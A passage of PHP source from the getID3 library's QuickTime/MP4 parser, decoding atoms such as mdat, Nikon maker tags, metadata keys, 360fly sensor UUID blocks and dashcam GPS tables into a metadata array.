					}

					// https://www.getid3.org/phpBB3/viewtopic.php?t=2468
					// The rotation matrix can appear in the Quicktime file multiple times, at least once for each track,
					// and it's possible that only the video track (or, in theory, one of the video tracks) is flagged as
					// rotated while the other tracks (e.g. audio) is tagged as rotation=0 (behavior noted on iPhone 8 Plus)
					// The correct solution would be to check if the TrackID associated with the rotation matrix is indeed
					// a video track (or the main video track) and only set the rotation then, but since information about
					// what track is what is not trivially there to be examined, the lazy solution is to set the rotation
					// if it is found to be nonzero, on the assumption that tracks that don't need it will have rotation set
					// to zero (and be effectively ignored) and the video track will have rotation set correctly, which will
					// either be zero and automatically correct, or nonzero and be set correctly.
					if (!isset($info['video']['rotate']) || (($info['video']['rotate'] == 0) && ($matrixRotation > 0))) {
						$info['quicktime']['video']['rotate'] = $info['video']['rotate'] = $matrixRotation;
					}

					if ($atom_structure['flags']['enabled'] == 1) {
						if (!isset($info['video']['resolution_x']) || !isset($info['video']['resolution_y'])) {
							$info['video']['resolution_x'] = $atom_structure['width'];
							$info['video']['resolution_y'] = $atom_structure['height'];
						}
						$info['video']['resolution_x'] = max($info['video']['resolution_x'], $atom_structure['width']);
						$info['video']['resolution_y'] = max($info['video']['resolution_y'], $atom_structure['height']);
						$info['quicktime']['video']['resolution_x'] = $info['video']['resolution_x'];
						$info['quicktime']['video']['resolution_y'] = $info['video']['resolution_y'];
					} else {
						// see: https://www.getid3.org/phpBB3/viewtopic.php?t=1295
						//if (isset($info['video']['resolution_x'])) { unset($info['video']['resolution_x']); }
						//if (isset($info['video']['resolution_y'])) { unset($info['video']['resolution_y']); }
						//if (isset($info['quicktime']['video']))    { unset($info['quicktime']['video']);    }
					}
					break;


				case 'iods': // Initial Object DeScriptor atom
					// http://www.koders.com/c/fid1FAB3E762903DC482D8A246D4A4BF9F28E049594.aspx?s=windows.h
					// http://libquicktime.sourcearchive.com/documentation/1.0.2plus-pdebian/iods_8c-source.html
					$offset = 0;
					$atom_structure['version']                =       getid3_lib::BigEndian2Int(substr($atom_data, $offset, 1));
					$offset += 1;
					$atom_structure['flags_raw']              =       getid3_lib::BigEndian2Int(substr($atom_data, $offset, 3));
					$offset += 3;
					$atom_structure['mp4_iod_tag']            =       getid3_lib::BigEndian2Int(substr($atom_data, $offset, 1));
					$offset += 1;
					$atom_structure['length']                 = $this->quicktime_read_mp4_descr_length($atom_data, $offset);
					//$offset already adjusted by quicktime_read_mp4_descr_length()
					$atom_structure['object_descriptor_id']   =       getid3_lib::BigEndian2Int(substr($atom_data, $offset, 2));
					$offset += 2;
					$atom_structure['od_profile_level']       =       getid3_lib::BigEndian2Int(substr($atom_data, $offset, 1));
					$offset += 1;
					$atom_structure['scene_profile_level']    =       getid3_lib::BigEndian2Int(substr($atom_data, $offset, 1));
					$offset += 1;
					$atom_structure['audio_profile_id']       =       getid3_lib::BigEndian2Int(substr($atom_data, $offset, 1));
					$offset += 1;
					$atom_structure['video_profile_id']       =       getid3_lib::BigEndian2Int(substr($atom_data, $offset, 1));
					$offset += 1;
					$atom_structure['graphics_profile_level'] =       getid3_lib::BigEndian2Int(substr($atom_data, $offset, 1));
					$offset += 1;

					$atom_structure['num_iods_tracks'] = ($atom_structure['length'] - 7) / 6; // 6 bytes would only be right if all tracks use 1-byte length fields
					for ($i = 0; $i < $atom_structure['num_iods_tracks']; $i++) {
						$atom_structure['track'][$i]['ES_ID_IncTag'] =       getid3_lib::BigEndian2Int(substr($atom_data, $offset, 1));
						$offset += 1;
						$atom_structure['track'][$i]['length']       = $this->quicktime_read_mp4_descr_length($atom_data, $offset);
						//$offset already adjusted by quicktime_read_mp4_descr_length()
						$atom_structure['track'][$i]['track_id']     =       getid3_lib::BigEndian2Int(substr($atom_data, $offset, 4));
						$offset += 4;
					}

					$atom_structure['audio_profile_name'] = $this->QuicktimeIODSaudioProfileName($atom_structure['audio_profile_id']);
					$atom_structure['video_profile_name'] = $this->QuicktimeIODSvideoProfileName($atom_structure['video_profile_id']);
					break;

				case 'ftyp': // FileTYPe (?) atom (for MP4 it seems)
					$atom_structure['signature'] =                           substr($atom_data,  0, 4);
					$atom_structure['unknown_1'] = getid3_lib::BigEndian2Int(substr($atom_data,  4, 4));
					$atom_structure['fourcc']    =                           substr($atom_data,  8, 4);
					break;

				case 'mdat': // Media DATa atom
					// 'mdat' contains the actual data for the audio/video, possibly also subtitles

	/* due to lack of known documentation, this is a kludge implementation. If you know of documentation on how mdat is properly structed, please send it to info@getid3.org */

					// first, skip any 'wide' padding, and second 'mdat' header (with specified size of zero?)
					$mdat_offset = 0;
					while (true) {
						if (substr($atom_data, $mdat_offset, 8) == "\x00\x00\x00\x08".'wide') {
							$mdat_offset += 8;
						} elseif (substr($atom_data, $mdat_offset, 8) == "\x00\x00\x00\x00".'mdat') {
							$mdat_offset += 8;
						} else {
							break;
						}
					}
					if (substr($atom_data, $mdat_offset, 4) == 'GPRO') {
						$GOPRO_chunk_length = getid3_lib::LittleEndian2Int(substr($atom_data, $mdat_offset + 4, 4));
						$GOPRO_offset = 8;
						$atom_structure['GPRO']['raw'] = substr($atom_data, $mdat_offset + 8, $GOPRO_chunk_length - 8);
						$atom_structure['GPRO']['firmware'] = substr($atom_structure['GPRO']['raw'],  0, 15);
						$atom_structure['GPRO']['unknown1'] = substr($atom_structure['GPRO']['raw'], 15, 16);
						$atom_structure['GPRO']['unknown2'] = substr($atom_structure['GPRO']['raw'], 31, 32);
						$atom_structure['GPRO']['unknown3'] = substr($atom_structure['GPRO']['raw'], 63, 16);
						$atom_structure['GPRO']['camera']   = substr($atom_structure['GPRO']['raw'], 79, 32);
						$info['quicktime']['camera']['model'] = rtrim($atom_structure['GPRO']['camera'], "\x00");
					}

					// check to see if it looks like chapter titles, in the form of unterminated strings with a leading 16-bit size field
					while (($mdat_offset < (strlen($atom_data) - 8))
						&& ($chapter_string_length = getid3_lib::BigEndian2Int(substr($atom_data, $mdat_offset, 2)))
						&& ($chapter_string_length < 1000)
						&& ($chapter_string_length <= (strlen($atom_data) - $mdat_offset - 2))
						&& preg_match('#^([\x00-\xFF]{2})([\x20-\xFF]+)$#', substr($atom_data, $mdat_offset, $chapter_string_length + 2), $chapter_matches)) {
							list($dummy, $chapter_string_length_hex, $chapter_string) = $chapter_matches;
							$mdat_offset += (2 + $chapter_string_length);
							@$info['quicktime']['comments']['chapters'][] = $chapter_string;

							// "encd" atom specifies encoding. In theory could be anything, almost always UTF-8, but may be UTF-16 with BOM (not currently handled)
							if (substr($atom_data, $mdat_offset, 12) == "\x00\x00\x00\x0C\x65\x6E\x63\x64\x00\x00\x01\x00") { // UTF-8
								$mdat_offset += 12;
							}
					}

					if (($atomsize > 8) && (!isset($info['avdataend_tmp']) || ($info['quicktime'][$atomname]['size'] > ($info['avdataend_tmp'] - $info['avdataoffset'])))) {

						$info['avdataoffset'] = $atom_structure['offset'] + 8;                       // $info['quicktime'][$atomname]['offset'] + 8;
						$OldAVDataEnd         = $info['avdataend'];
						$info['avdataend']    = $atom_structure['offset'] + $atom_structure['size']; // $info['quicktime'][$atomname]['offset'] + $info['quicktime'][$atomname]['size'];

						$getid3_temp = new getID3();
						$getid3_temp->openfile($this->getid3->filename, $this->getid3->info['filesize'], $this->getid3->fp);
						$getid3_temp->info['avdataoffset'] = $info['avdataoffset'];
						$getid3_temp->info['avdataend']    = $info['avdataend'];
						$getid3_mp3 = new getid3_mp3($getid3_temp);
						if ($getid3_mp3->MPEGaudioHeaderValid($getid3_mp3->MPEGaudioHeaderDecode($this->fread(4)))) {
							$getid3_mp3->getOnlyMPEGaudioInfo($getid3_temp->info['avdataoffset'], false);
							if (!empty($getid3_temp->info['warning'])) {
								foreach ($getid3_temp->info['warning'] as $value) {
									$this->warning($value);
								}
							}
							if (!empty($getid3_temp->info['mpeg'])) {
								$info['mpeg'] = $getid3_temp->info['mpeg'];
								if (isset($info['mpeg']['audio'])) {
									$info['audio']['dataformat']   = 'mp3';
									$info['audio']['codec']        = (!empty($info['mpeg']['audio']['encoder']) ? $info['mpeg']['audio']['encoder'] : (!empty($info['mpeg']['audio']['codec']) ? $info['mpeg']['audio']['codec'] : (!empty($info['mpeg']['audio']['LAME']) ? 'LAME' :'mp3')));
									$info['audio']['sample_rate']  = $info['mpeg']['audio']['sample_rate'];
									$info['audio']['channels']     = $info['mpeg']['audio']['channels'];
									$info['audio']['bitrate']      = $info['mpeg']['audio']['bitrate'];
									$info['audio']['bitrate_mode'] = strtolower($info['mpeg']['audio']['bitrate_mode']);
									$info['bitrate']               = $info['audio']['bitrate'];
								}
							}
						}
						unset($getid3_mp3, $getid3_temp);
						$info['avdataend'] = $OldAVDataEnd;
						unset($OldAVDataEnd);

					}

					unset($mdat_offset, $chapter_string_length, $chapter_matches);
					break;

				case 'ID32': // ID3v2
					getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.tag.id3v2.php', __FILE__, true);

					$getid3_temp = new getID3();
					$getid3_temp->openfile($this->getid3->filename, $this->getid3->info['filesize'], $this->getid3->fp);
					$getid3_id3v2 = new getid3_id3v2($getid3_temp);
					$getid3_id3v2->StartingOffset = $atom_structure['offset'] + 14; // framelength(4)+framename(4)+flags(4)+??(2)
					if ($atom_structure['valid'] = $getid3_id3v2->Analyze()) {
						$atom_structure['id3v2'] = $getid3_temp->info['id3v2'];
					} else {
						$this->warning('ID32 frame at offset '.$atom_structure['offset'].' did not parse');
					}
					unset($getid3_temp, $getid3_id3v2);
					break;

				case 'free': // FREE space atom
				case 'skip': // SKIP atom
				case 'wide': // 64-bit expansion placeholder atom
					// 'free', 'skip' and 'wide' are just padding, contains no useful data at all

					// When writing QuickTime files, it is sometimes necessary to update an atom's size.
					// It is impossible to update a 32-bit atom to a 64-bit atom since the 32-bit atom
					// is only 8 bytes in size, and the 64-bit atom requires 16 bytes. Therefore, QuickTime
					// puts an 8-byte placeholder atom before any atoms it may have to update the size of.
					// In this way, if the atom needs to be converted from a 32-bit to a 64-bit atom, the
					// placeholder atom can be overwritten to obtain the necessary 8 extra bytes.
					// The placeholder atom has a type of kWideAtomPlaceholderType ( 'wide' ).
					break;


				case 'nsav': // NoSAVe atom
					// http://developer.apple.com/technotes/tn/tn2038.html
					$atom_structure['data'] = getid3_lib::BigEndian2Int(substr($atom_data,  0, 4));
					break;

				case 'ctyp': // Controller TYPe atom (seen on QTVR)
					// http://homepages.slingshot.co.nz/~helmboy/quicktime/formats/qtm-layout.txt
					// some controller names are:
					//   0x00 + 'std' for linear movie
					//   'none' for no controls
					$atom_structure['ctyp'] = substr($atom_data, 0, 4);
					$info['quicktime']['controller'] = $atom_structure['ctyp'];
					switch ($atom_structure['ctyp']) {
						case 'qtvr':
							$info['video']['dataformat'] = 'quicktimevr';
							break;
					}
					break;

				case 'pano': // PANOrama track (seen on QTVR)
					$atom_structure['pano'] = getid3_lib::BigEndian2Int(substr($atom_data,  0, 4));
					break;

				case 'hint': // HINT track
				case 'hinf': //
				case 'hinv': //
				case 'hnti': //
					$info['quicktime']['hinting'] = true;
					break;

				case 'imgt': // IMaGe Track reference (kQTVRImageTrackRefType) (seen on QTVR)
					for ($i = 0; $i < ($atom_structure['size'] - 8); $i += 4) {
						$atom_structure['imgt'][] = getid3_lib::BigEndian2Int(substr($atom_data, $i, 4));
					}
					break;


				// Observed-but-not-handled atom types are just listed here to prevent warnings being generated
				case 'FXTC': // Something to do with Adobe After Effects (?)
				case 'PrmA':
				case 'code':
				case 'FIEL': // this is NOT "fiel" (Field Ordering) as describe here: http://developer.apple.com/documentation/QuickTime/QTFF/QTFFChap3/chapter_4_section_2.html
				case 'tapt': // TrackApertureModeDimensionsAID - http://developer.apple.com/documentation/QuickTime/Reference/QT7-1_Update_Reference/Constants/Constants.html
							// tapt seems to be used to compute the video size [https://www.getid3.org/phpBB3/viewtopic.php?t=838]
							// * http://lists.apple.com/archives/quicktime-api/2006/Aug/msg00014.html
							// * http://handbrake.fr/irclogs/handbrake-dev/handbrake-dev20080128_pg2.html
				case 'ctts'://  STCompositionOffsetAID             - http://developer.apple.com/documentation/QuickTime/Reference/QTRef_Constants/Reference/reference.html
				case 'cslg'://  STCompositionShiftLeastGreatestAID - http://developer.apple.com/documentation/QuickTime/Reference/QTRef_Constants/Reference/reference.html
				case 'sdtp'://  STSampleDependencyAID              - http://developer.apple.com/documentation/QuickTime/Reference/QTRef_Constants/Reference/reference.html
				case 'stps'://  STPartialSyncSampleAID             - http://developer.apple.com/documentation/QuickTime/Reference/QTRef_Constants/Reference/reference.html
					//$atom_structure['data'] = $atom_data;
					break;

				case "\xA9".'xyz':  // GPS latitude+longitude+altitude
					$atom_structure['data'] = $atom_data;
					if (preg_match('#([\\+\\-][0-9\\.]+)([\\+\\-][0-9\\.]+)([\\+\\-][0-9\\.]+)?/$#i', $atom_data, $matches)) {
						@list($all, $latitude, $longitude, $altitude) = $matches;
						$info['quicktime']['comments']['gps_latitude'][]  = floatval($latitude);
						$info['quicktime']['comments']['gps_longitude'][] = floatval($longitude);
						if (!empty($altitude)) {
							$info['quicktime']['comments']['gps_altitude'][] = floatval($altitude);
						}
					} else {
						$this->warning('QuickTime atom "©xyz" data does not match expected data pattern at offset '.$baseoffset.'. Please report as getID3() bug.');
					}
					break;

				case 'NCDT':
					// https://exiftool.org/TagNames/Nikon.html
					// Nikon-specific QuickTime tags found in the NCDT atom of MOV videos from some Nikon cameras such as the Coolpix S8000 and D5100
					$atom_structure['subatoms'] = $this->QuicktimeParseContainerAtom($atom_data, $baseoffset + 4, $atomHierarchy, $ParseAllPossibleAtoms);
					break;
				case 'NCTH': // Nikon Camera THumbnail image
				case 'NCVW': // Nikon Camera preVieW image
				case 'NCM1': // Nikon Camera preview iMage 1
				case 'NCM2': // Nikon Camera preview iMage 2
					// https://exiftool.org/TagNames/Nikon.html
					if (preg_match('/^\xFF\xD8\xFF/', $atom_data)) {
						$descriptions = array(
							'NCTH' => 'Nikon Camera Thumbnail Image',
							'NCVW' => 'Nikon Camera Preview Image',
							'NCM1' => 'Nikon Camera Preview Image 1',
							'NCM2' => 'Nikon Camera Preview Image 2',
						);
						$atom_structure['data'] = $atom_data;
						$atom_structure['image_mime'] = 'image/jpeg';
						$atom_structure['description'] = $descriptions[$atomname];
						$info['quicktime']['comments']['picture'][] = array(
							'image_mime' => $atom_structure['image_mime'],
							'data' => $atom_data,
							'description' => $atom_structure['description']
						);
					}
					break;
				case 'NCTG': // Nikon - https://exiftool.org/TagNames/Nikon.html#NCTG
					getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.tag.nikon-nctg.php', __FILE__, true);
					$nikonNCTG = new getid3_tag_nikon_nctg($this->getid3);

					$atom_structure['data'] = $nikonNCTG->parse($atom_data);
					break;
				case 'NCHD': // Nikon:MakerNoteVersion  - https://exiftool.org/TagNames/Nikon.html
					$makerNoteVersion = '';
					for ($i = 0, $iMax = strlen($atom_data); $i < $iMax; ++$i) {
						if (ord($atom_data[$i]) <= 0x1F) {
							$makerNoteVersion .= ' '.ord($atom_data[$i]);
						} else {
							$makerNoteVersion .= $atom_data[$i];
						}
					}
					$makerNoteVersion = rtrim($makerNoteVersion, "\x00");
					$atom_structure['data'] = array(
						'MakerNoteVersion' => $makerNoteVersion
					);
					break;
				case 'NCDB': // Nikon                   - https://exiftool.org/TagNames/Nikon.html
				case 'CNCV': // Canon:CompressorVersion - https://exiftool.org/TagNames/Canon.html
					$atom_structure['data'] = $atom_data;
					break;

				case "\x00\x00\x00\x00":
					// some kind of metacontainer, may contain a big data dump such as:
					// mdta keys \005 mdtacom.apple.quicktime.make (mdtacom.apple.quicktime.creationdate ,mdtacom.apple.quicktime.location.ISO6709 $mdtacom.apple.quicktime.software !mdtacom.apple.quicktime.model ilst \01D \001 \015data \001DE\010Apple 0 \002 (data \001DE\0102011-05-11T17:54:04+0200 2 \003 *data \001DE\010+52.4936+013.3897+040.247/ \01D \004 \015data \001DE\0104.3.1 \005 \018data \001DE\010iPhone 4
					// https://xhelmboyx.tripod.com/formats/qti-layout.txt

					$atom_structure['version']   =          getid3_lib::BigEndian2Int(substr($atom_data, 0, 1));
					$atom_structure['flags_raw'] =          getid3_lib::BigEndian2Int(substr($atom_data, 1, 3));
					$atom_structure['subatoms']  = $this->QuicktimeParseContainerAtom(substr($atom_data, 4), $baseoffset + 8, $atomHierarchy, $ParseAllPossibleAtoms);
					//$atom_structure['subatoms']  = $this->QuicktimeParseContainerAtom($atom_data, $baseoffset + 8, $atomHierarchy, $ParseAllPossibleAtoms);
					break;

				case 'meta': // METAdata atom
					// https://developer.apple.com/library/mac/documentation/QuickTime/QTFF/Metadata/Metadata.html

					$atom_structure['version']   =          getid3_lib::BigEndian2Int(substr($atom_data, 0, 1));
					$atom_structure['flags_raw'] =          getid3_lib::BigEndian2Int(substr($atom_data, 1, 3));
					$atom_structure['subatoms']  = $this->QuicktimeParseContainerAtom($atom_data, $baseoffset + 8, $atomHierarchy, $ParseAllPossibleAtoms);
					break;

				case 'data': // metaDATA atom
					static $metaDATAkey = 1; // real ugly, but so is the QuickTime structure that stores keys and values in different multinested locations that are hard to relate to each other
					// seems to be 2 bytes language code (ASCII), 2 bytes unknown (set to 0x10B5 in sample I have), remainder is useful data
					$atom_structure['language'] =                           substr($atom_data, 4 + 0, 2);
					$atom_structure['unknown']  = getid3_lib::BigEndian2Int(substr($atom_data, 4 + 2, 2));
					$atom_structure['data']     =                           substr($atom_data, 4 + 4);
					$atom_structure['key_name'] = (isset($info['quicktime']['temp_meta_key_names'][$metaDATAkey]) ? $info['quicktime']['temp_meta_key_names'][$metaDATAkey] : '');
					$metaDATAkey++;

					if ($atom_structure['key_name'] && $atom_structure['data']) {
						@$info['quicktime']['comments'][str_replace('com.apple.quicktime.', '', $atom_structure['key_name'])][] = $atom_structure['data'];
					}
					break;

				case 'keys': // KEYS that may be present in the metadata atom.
					// https://developer.apple.com/library/mac/documentation/QuickTime/QTFF/Metadata/Metadata.html#//apple_ref/doc/uid/TP40000939-CH1-SW21
					// The metadata item keys atom holds a list of the metadata keys that may be present in the metadata atom.
					// This list is indexed starting with 1; 0 is a reserved index value. The metadata item keys atom is a full atom with an atom type of "keys".
					$atom_structure['version']       = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
					$atom_structure['flags_raw']     = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3));
					$atom_structure['entry_count']   = getid3_lib::BigEndian2Int(substr($atom_data,  4, 4));
					$keys_atom_offset = 8;
					for ($i = 1; $i <= $atom_structure['entry_count']; $i++) {
						$atom_structure['keys'][$i]['key_size']      = getid3_lib::BigEndian2Int(substr($atom_data, $keys_atom_offset + 0, 4));
						$atom_structure['keys'][$i]['key_namespace'] =                           substr($atom_data, $keys_atom_offset + 4, 4);
						$atom_structure['keys'][$i]['key_value']     =                           substr($atom_data, $keys_atom_offset + 8, $atom_structure['keys'][$i]['key_size'] - 8);
						$keys_atom_offset += $atom_structure['keys'][$i]['key_size']; // key_size includes the 4+4 bytes for key_size and key_namespace

						$info['quicktime']['temp_meta_key_names'][$i] = $atom_structure['keys'][$i]['key_value'];
					}
					break;

				case 'uuid': // user-defined atom often seen containing XML data, also used for potentially many other purposes, only a few specifically handled by getID3 (e.g. 360fly spatial data)
					//Get the UUID ID in first 16 bytes
					$uuid_bytes_read = unpack('H8time_low/H4time_mid/H4time_hi/H4clock_seq_hi/H12clock_seq_low', substr($atom_data, 0, 16));
					$atom_structure['uuid_field_id'] = implode('-', $uuid_bytes_read);

					switch ($atom_structure['uuid_field_id']) {   // http://fileformats.archiveteam.org/wiki/Boxes/atoms_format#UUID_boxes

						case '0537cdab-9d0c-4431-a72a-fa561f2a113e': // Exif                                       - http://fileformats.archiveteam.org/wiki/Exif
						case '2c4c0100-8504-40b9-a03e-562148d6dfeb': // Photoshop Image Resources                  - http://fileformats.archiveteam.org/wiki/Photoshop_Image_Resources
						case '33c7a4d2-b81d-4723-a0ba-f1a3e097ad38': // IPTC-IIM                                   - http://fileformats.archiveteam.org/wiki/IPTC-IIM
						case '8974dbce-7be7-4c51-84f9-7148f9882554': // PIFF Track Encryption Box                  - http://fileformats.archiveteam.org/wiki/Protected_Interoperable_File_Format
						case '96a9f1f1-dc98-402d-a7ae-d68e34451809': // GeoJP2 World File Box                      - http://fileformats.archiveteam.org/wiki/GeoJP2
						case 'a2394f52-5a9b-4f14-a244-6c427c648df4': // PIFF Sample Encryption Box                 - http://fileformats.archiveteam.org/wiki/Protected_Interoperable_File_Format
						case 'b14bf8bd-083d-4b43-a5ae-8cd7d5a6ce03': // GeoJP2 GeoTIFF Box                         - http://fileformats.archiveteam.org/wiki/GeoJP2
						case 'd08a4f18-10f3-4a82-b6c8-32d8aba183d3': // PIFF Protection System Specific Header Box - http://fileformats.archiveteam.org/wiki/Protected_Interoperable_File_Format
							$this->warning('Unhandled (but recognized) "uuid" atom identified by "'.$atom_structure['uuid_field_id'].'" at offset '.$atom_structure['offset'].' ('.strlen($atom_data).' bytes)');
							break;

						case 'be7acfcb-97a9-42e8-9c71-999491e3afac': // XMP data (in XML format)
							$atom_structure['xml'] = substr($atom_data, 16, strlen($atom_data) - 16 - 8); // 16 bytes for UUID, 8 bytes header(?)
							break;

						case 'efe1589a-bb77-49ef-8095-27759eb1dc6f': // 360fly data
							/* 360fly code in this block by Paul Lewis 2019-Oct-31 */
							/*	Sensor Timestamps need to be calculated using the recordings base time at ['quicktime']['moov']['subatoms'][0]['creation_time_unix']. */
							$atom_structure['title'] = '360Fly Sensor Data';

							//Get the UUID HEADER data
							$uuid_bytes_read = unpack('vheader_size/vheader_version/vtimescale/vhardware_version/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/', substr($atom_data, 16, 32));
							$atom_structure['uuid_header'] = $uuid_bytes_read;

							$start_byte = 48;
							$atom_SENSOR_data = substr($atom_data, $start_byte);
							$atom_structure['sensor_data']['data_type'] = array(
									'fusion_count'   => 0,       // ID 250
									'fusion_data'    => array(),
									'accel_count'    => 0,       // ID 1
									'accel_data'     => array(),
									'gyro_count'     => 0,       // ID 2
									'gyro_data'      => array(),
									'magno_count'    => 0,       // ID 3
									'magno_data'     => array(),
									'gps_count'      => 0,       // ID 5
									'gps_data'       => array(),
									'rotation_count' => 0,       // ID 6
									'rotation_data'  => array(),
									'unknown_count'  => 0,       // ID ??
									'unknown_data'   => array(),
									'debug_list'     => '',      // Used to debug variables stored as comma delimited strings
							);
							$debug_structure = array();
							$debug_structure['debug_items'] = array();
							// Can start loop here to decode all sensor data in 32 Byte chunks:
							foreach (str_split($atom_SENSOR_data, 32) as $sensor_key => $sensor_data) {
								// This gets me a data_type code to work out what data is in the next 31 bytes.
								$sensor_data_type = substr($sensor_data, 0, 1);
								$sensor_data_content = substr($sensor_data, 1);
								$uuid_bytes_read = unpack('C*', $sensor_data_type);
								$sensor_data_array = array();
								switch ($uuid_bytes_read[1]) {
									case 250:
										$atom_structure['sensor_data']['data_type']['fusion_count']++;
										$uuid_bytes_read = unpack('cmode/Jtimestamp/Gyaw/Gpitch/Groll/x*', $sensor_data_content);
										$sensor_data_array['mode']      = $uuid_bytes_read['mode'];
										$sensor_data_array['timestamp'] = $uuid_bytes_read['timestamp'];
										$sensor_data_array['yaw']       = $uuid_bytes_read['yaw'];
										$sensor_data_array['pitch']     = $uuid_bytes_read['pitch'];
										$sensor_data_array['roll']      = $uuid_bytes_read['roll'];
										array_push($atom_structure['sensor_data']['data_type']['fusion_data'], $sensor_data_array);
										break;
									case 1:
										$atom_structure['sensor_data']['data_type']['accel_count']++;
										$uuid_bytes_read = unpack('cmode/Jtimestamp/Gyaw/Gpitch/Groll/x*', $sensor_data_content);
										$sensor_data_array['mode']      = $uuid_bytes_read['mode'];
										$sensor_data_array['timestamp'] = $uuid_bytes_read['timestamp'];
										$sensor_data_array['yaw']       = $uuid_bytes_read['yaw'];
										$sensor_data_array['pitch']     = $uuid_bytes_read['pitch'];
										$sensor_data_array['roll']      = $uuid_bytes_read['roll'];
										array_push($atom_structure['sensor_data']['data_type']['accel_data'], $sensor_data_array);
										break;
									case 2:
										$atom_structure['sensor_data']['data_type']['gyro_count']++;
										$uuid_bytes_read = unpack('cmode/Jtimestamp/Gyaw/Gpitch/Groll/x*', $sensor_data_content);
										$sensor_data_array['mode']      = $uuid_bytes_read['mode'];
										$sensor_data_array['timestamp'] = $uuid_bytes_read['timestamp'];
										$sensor_data_array['yaw']       = $uuid_bytes_read['yaw'];
										$sensor_data_array['pitch']     = $uuid_bytes_read['pitch'];
										$sensor_data_array['roll']      = $uuid_bytes_read['roll'];
										array_push($atom_structure['sensor_data']['data_type']['gyro_data'], $sensor_data_array);
										break;
									case 3:
										$atom_structure['sensor_data']['data_type']['magno_count']++;
										$uuid_bytes_read = unpack('cmode/Jtimestamp/Gmagx/Gmagy/Gmagz/x*', $sensor_data_content);
										$sensor_data_array['mode']      = $uuid_bytes_read['mode'];
										$sensor_data_array['timestamp'] = $uuid_bytes_read['timestamp'];
										$sensor_data_array['magx']      = $uuid_bytes_read['magx'];
										$sensor_data_array['magy']      = $uuid_bytes_read['magy'];
										$sensor_data_array['magz']      = $uuid_bytes_read['magz'];
										array_push($atom_structure['sensor_data']['data_type']['magno_data'], $sensor_data_array);
										break;
									case 5:
										$atom_structure['sensor_data']['data_type']['gps_count']++;
										$uuid_bytes_read = unpack('cmode/Jtimestamp/Glat/Glon/Galt/Gspeed/nbearing/nacc/x*', $sensor_data_content);
										$sensor_data_array['mode']      = $uuid_bytes_read['mode'];
										$sensor_data_array['timestamp'] = $uuid_bytes_read['timestamp'];
										$sensor_data_array['lat']       = $uuid_bytes_read['lat'];
										$sensor_data_array['lon']       = $uuid_bytes_read['lon'];
										$sensor_data_array['alt']       = $uuid_bytes_read['alt'];
										$sensor_data_array['speed']     = $uuid_bytes_read['speed'];
										$sensor_data_array['bearing']   = $uuid_bytes_read['bearing'];
										$sensor_data_array['acc']       = $uuid_bytes_read['acc'];
										array_push($atom_structure['sensor_data']['data_type']['gps_data'], $sensor_data_array);
										//array_push($debug_structure['debug_items'], $uuid_bytes_read['timestamp']);
										break;
									case 6:
										$atom_structure['sensor_data']['data_type']['rotation_count']++;
										$uuid_bytes_read = unpack('cmode/Jtimestamp/Grotx/Groty/Grotz/x*', $sensor_data_content);
										$sensor_data_array['mode']      = $uuid_bytes_read['mode'];
										$sensor_data_array['timestamp'] = $uuid_bytes_read['timestamp'];
										$sensor_data_array['rotx']      = $uuid_bytes_read['rotx'];
										$sensor_data_array['roty']      = $uuid_bytes_read['roty'];
										$sensor_data_array['rotz']      = $uuid_bytes_read['rotz'];
										array_push($atom_structure['sensor_data']['data_type']['rotation_data'], $sensor_data_array);
										break;
									default:
										$atom_structure['sensor_data']['data_type']['unknown_count']++;
										break;
								}
							}
							//if (isset($debug_structure['debug_items']) && count($debug_structure['debug_items']) > 0) {
							//	$atom_structure['sensor_data']['data_type']['debug_list'] = implode(',', $debug_structure['debug_items']);
							//} else {
								$atom_structure['sensor_data']['data_type']['debug_list'] = 'No debug items in list!';
							//}
							break;

						default:
							$this->warning('Unhandled "uuid" atom identified by "'.$atom_structure['uuid_field_id'].'" at offset '.$atom_structure['offset'].' ('.strlen($atom_data).' bytes)');
					}
					break;

				case 'gps ':
					// https://dashcamtalk.com/forum/threads/script-to-extract-gps-data-from-novatek-mp4.20808/page-2#post-291730
					// The 'gps ' contains simple look up table made up of 8byte rows, that point to the 'free' atoms that contains the actual GPS data.
					// The first row is version/metadata/notsure, I skip that.
					// The following rows consist of 4byte address (absolute) and 4byte size (0x1000), these point to the GPS data in the file.

					$GPS_rowsize = 8; // 4 bytes for offset, 4 bytes for size
					if (strlen($atom_data) > 0) {
						if ((strlen($atom_data) % $GPS_rowsize) == 0) {
							$atom_structure['gps_toc'] = array();
							foreach (str_split($atom_data, $GPS_rowsize) as $counter => $datapair) {
								$atom_structure['gps_toc'][] = unpack('Noffset/Nsize', substr($atom_data, $counter * $GPS_rowsize, $GPS_rowsize));
							}

							$atom_structure['gps_entries'] = array();
							$previous_offset = $this->ftell();
							foreach ($atom_structure['gps_toc'] as $key => $gps_pointer) {
								if ($key == 0) {
									// "The first row is version/metadata/notsure, I skip that."
									continue;
								}
								$this->fseek($gps_pointer['offset']);
								$GPS_free_data = $this->fread($gps_pointer['size']);

								/*
								// 2017-05-10: I see some of the data, notably the Hour-Minute-Second, but cannot reconcile the rest of the data. However, the NMEA "GPRMC" line is there and relatively easy to parse, so I'm using that instead

								// https://dashcamtalk.com/forum/threads/script-to-extract-gps-data-from-novatek-mp4.20808/page-2#post-291730
								// The structure of the GPS data atom (the 'free' atoms mentioned above) is following:
								// hour,minute,second,year,month,day,active,latitude_b,longitude_b,unknown2,latitude,longitude,speed = struct.unpack_from('<IIIIIIssssfff',data, 48)
								// For those unfamiliar with python struct:
								// I = int
								// s = is string (size 1, in this case)
								// f = float

								//$atom_structure['gps_entries'][$key] = unpack('Vhour/Vminute/Vsecond/Vyear/Vmonth/Vday/Vactive/Vlatitude_b/Vlongitude_b/Vunknown2/flatitude/flongitude/fspeed', substr($GPS_free_data, 48));
								*/

								// $GPRMC,081836,A,3751.65,S,14507.36,E,000.0,360.0,130998,011.3,E*62
								// $GPRMC,183731,A,3907.482,N,12102.436,W,000.0,360.0,080301,015.5,E*67
								// $GPRMC,002454,A,3553.5295,N,13938.6570,E,0.0,43.1,180700,7.1,W,A*3F
								// $GPRMC,094347.000,A,5342.0061,N,00737.9908,W,0.01,156.75,140217,,,A*7D
